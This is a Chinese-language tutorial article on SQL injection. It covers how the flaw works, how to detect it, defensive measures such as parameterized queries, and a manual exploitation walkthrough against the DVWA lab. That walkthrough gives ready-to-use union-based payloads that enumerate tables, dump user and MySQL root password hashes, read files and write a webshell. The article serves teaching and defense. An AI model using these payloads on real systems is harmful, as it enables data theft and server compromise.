一篇文章了解SQL注入漏洞
SQL注入漏洞原理
漏洞原理
web頁面源代碼對用戶提交的參數(shù)沒有做出任何過濾限制,直接扔到SQL語句中去執(zhí)行,導(dǎo)致特殊字符改變了SQL語句原來的功能和邏輯。黑客利用此漏洞執(zhí)行惡意的SQL語句,如查詢數(shù)據(jù)、下載數(shù)據(jù),寫webshell、執(zhí)行系統(tǒng)命令以此來繞過登錄權(quán)限限制等。
檢測方法
可以利用sqlmap進(jìn)行SQL注入的檢查或利用,也可以使用其他SQL注入工具。也可以手工測,利用單引號、and 1=1以及字符型注入進(jìn)行判斷。
防御措施
(1)sql 語句預(yù)編譯和綁定變量
(2)所有的查詢語句都使用數(shù)據(jù)庫提供的參數(shù)化查詢接口,參數(shù)化的語句使用參數(shù)而不是將用戶輸入變量嵌入到 SQL 語句中。當(dāng)前幾乎所有的數(shù)據(jù)庫系統(tǒng)都提供了參數(shù)化 SQL 語句執(zhí)行接口,使用此接口可以非常有效的防止 SQL 注入攻擊。
(3)對進(jìn)入數(shù)據(jù)庫的特殊字符( ’ <>&*; 等)進(jìn)行轉(zhuǎn)義處理,或編碼轉(zhuǎn)換。
(4)確認(rèn)每種數(shù)據(jù)的類型,比如數(shù)字型的數(shù)據(jù)就必須是數(shù)字,數(shù)據(jù)庫中的存儲字段必須對應(yīng)為 int 型。
(5)數(shù)據(jù)長度應(yīng)該嚴(yán)格規(guī)定,能在一定程度上防止比較長的 SQL 注入語句無法正確執(zhí)行。
(6)網(wǎng)站每個數(shù)據(jù)層的編碼統(tǒng)一,建議全部使用 UTF-8 編碼,上下層編碼不一致有可能導(dǎo)致一些過濾模型被繞過。
(7)嚴(yán)格限制網(wǎng)站用戶的數(shù)據(jù)庫的操作權(quán)限,給此用戶提供僅僅能夠滿足其工作的權(quán)限,從而最大限度的減少注入攻擊對數(shù)據(jù)庫的危害.
(8)避免網(wǎng)站顯示 SQL 錯誤信息,比如類型錯誤、字段不匹配等,防止攻擊者利用這些錯誤信息進(jìn)行一些判斷。
SQL注入內(nèi)容
注入條件
SQL 注入需要滿足以下兩個條件:
- 參數(shù)可控:從前端傳給后端的參數(shù)內(nèi)容是用戶可以控制的
- 參數(shù)帶入數(shù)據(jù)庫查詢:傳入的參數(shù)拼接到 SQL 語句,且?guī)霐?shù)據(jù)庫查詢。 判斷注入 當(dāng)用戶傳入?yún)?shù)為 1’的時候,在數(shù)據(jù)庫執(zhí)行如下所示:
select * from users where id=1'
此 SQL語句不符合語法規(guī)則就會報(bào)錯。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
當(dāng)用戶傳入?yún)?shù)為 1 and 1=1 時
select * from users where id=1 and 1=1
因?yàn)?1=1 為真,id=1 也是真, and 兩邊均為真。所以頁面會返回 id=1 的結(jié)果。
如果用戶傳入?yún)?shù)為 1 and 1=2 時
因?yàn)?1=2 為假 id=1 為真 and 兩邊有一個為假,所以頁面返回與 id=1 不一樣的結(jié)果。
由此可以初步判斷存在 SQL 注入漏洞,攻擊者可以進(jìn)一步拼接 SQL 攻擊語句,進(jìn)行攻擊,致使信息泄露,甚至獲取服務(wù)器權(quán)限。
其實(shí)也就是看有沒有回顯?;仫@是指頁面有數(shù)據(jù)信息返回。無回顯是指根據(jù)輸入的語句,頁面沒有任何變化或者沒有數(shù)據(jù)庫中的內(nèi)容顯示到網(wǎng)頁中。
id =1 and 1=1 id = 1 and 1=2 id = 1 or 1=1 id = '1' or '1'='1' id=" 1 "or "1"="1"
SQL注釋符與注入流程
注釋符:
- #(單行注釋 注意與 url 中的#區(qū)分)
- --空格 (單行注釋 注意為短線短線空格)
- /*()*/ (多行注釋 至少存在倆處的注入 /**/常用來作為空格)
注入流程:
- 是否存在注入并且判斷注入類型
- 判斷字段數(shù) order by
- 確定回顯點(diǎn) union select 1,2
- 查詢數(shù)據(jù)庫信息 @@version @@datadir
- 查詢用戶名,數(shù)據(jù)庫名 user() database()
- 文件讀取 union select 1,load_file(‘C:\wondows\win.ini’)#
- 寫入 webshell select…into outfile…
使用 sql 注入遇到轉(zhuǎn)義字符串的單引號或者雙引號,可使用 HEX 編碼繞過。
SQL注入分類
SQLMap 分類
SQL 注入類型有以下 5 種:
UNION query SQL injection(可聯(lián)合查詢注入)
Stacked queries SQL injection(可多語句查詢注入)堆疊查詢
Boolean-based blind SQL injection(布爾型注入)
Error-based SQL injection(報(bào)錯型注入)
Time-based blind SQL injection(基于時間延遲注入)
輸入命令sqlmap -hh
輸入命令sqlmap -u
接受請求類型區(qū)分
GET 注入
GET 請求的參數(shù)是放在 URL 里的,GET 請求的 URL 傳參有長度限制 中文需要
URL 編碼
POST 注入
POST 請求參數(shù)是放在請求 body 里的,長度沒有限制
COOKIE 注入
cookie 參數(shù)放在請求頭信息,提交的時候 服務(wù)器會從請求頭獲取
注入數(shù)據(jù)類型的區(qū)分
int 整型
select * from users where id=1
sting 字符型
select * from users where username=‘a(chǎn)dmin'
like 搜索型
select * from news where title like ‘%標(biāo)題%'
SQL注入思路
1、尋找注入點(diǎn),可以通過 web 掃描工具實(shí)現(xiàn)
2、通過注入點(diǎn),嘗試獲得關(guān)于連接數(shù)據(jù)庫用戶名、數(shù)據(jù)庫名稱、連接數(shù)據(jù)庫用戶權(quán)限、操作系統(tǒng)信息、數(shù)據(jù)庫版本等相關(guān)信息。
3、猜解關(guān)鍵數(shù)據(jù)庫表及其重要字段與內(nèi)容(常見如存放管理員賬戶的表名、字段名等信息)還可以獲取數(shù)據(jù)庫的 root 賬號 密碼—思路
4、可以通過獲得的用戶信息,尋找后臺登錄。
5、利用后臺或了解的進(jìn)一步信息。
手工注入思路
1.判斷是否存在注入,注入是字符型還是數(shù)字型
2.猜解 SQL 查詢語句中的字段數(shù) order by N
3.確定顯示的字段順序
4.獲取當(dāng)前數(shù)據(jù)庫
5.獲取數(shù)據(jù)庫中的表
6.獲取表中的字段名
7.查詢到賬戶的數(shù)據(jù)
SQL 詳細(xì)注入過程
猜數(shù)據(jù)庫:
1' union select 1,database()
payload 利用另一種方式:
1' union select user(),database()version()
得到數(shù)據(jù)庫名:dvwa
PS:union 查詢結(jié)合了兩個 select 查詢結(jié)果,根據(jù)上面的 order by 語句我們知道查詢包含兩列,為了能夠現(xiàn)實(shí)兩列查詢結(jié)果,我們需要用 union 查詢結(jié)合我們構(gòu)造的另外一個 select.注意在使用 union 查詢的時候需要和主查詢的列數(shù)相同。
猜表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()
得到表名:guestbook,users
group_concat 分組
猜列名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#
(用編碼就不用單引號,用單引號就不用編碼)
得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
猜用戶數(shù)據(jù):
列舉出幾種 payload:
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #
得到用戶數(shù)據(jù):
admin 5f4dcc3b5aa765d61d8327deb882cf99
猜 root 用戶:#
1' union select 1,group_concat(user,password) from mysql.user#
得到 root 用戶信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
總結(jié)
到此這篇關(guān)于SQL注入漏洞的文章就介紹到這了,更多相關(guān)SQL注入漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
對Serv-U 6.0.0.2默認(rèn)帳戶及密碼的一點(diǎn)理解
對Serv-U 6.0.0.2默認(rèn)帳戶及密碼的一點(diǎn)理解...2007-01-01系統(tǒng)安全:Win XP SP2 配置及故障解決技巧大揭露
系統(tǒng)安全:Win XP SP2 配置及故障解決技巧大揭露...2007-01-01關(guān)于對SQL注入80004005 及其它錯誤消息分析
關(guān)于對SQL注入80004005 及其它錯誤消息分析...2007-01-01關(guān)于對河南網(wǎng)通封鎖局域網(wǎng)共享上網(wǎng)的破解
關(guān)于對河南網(wǎng)通封鎖局域網(wǎng)共享上網(wǎng)的破解...2007-01-01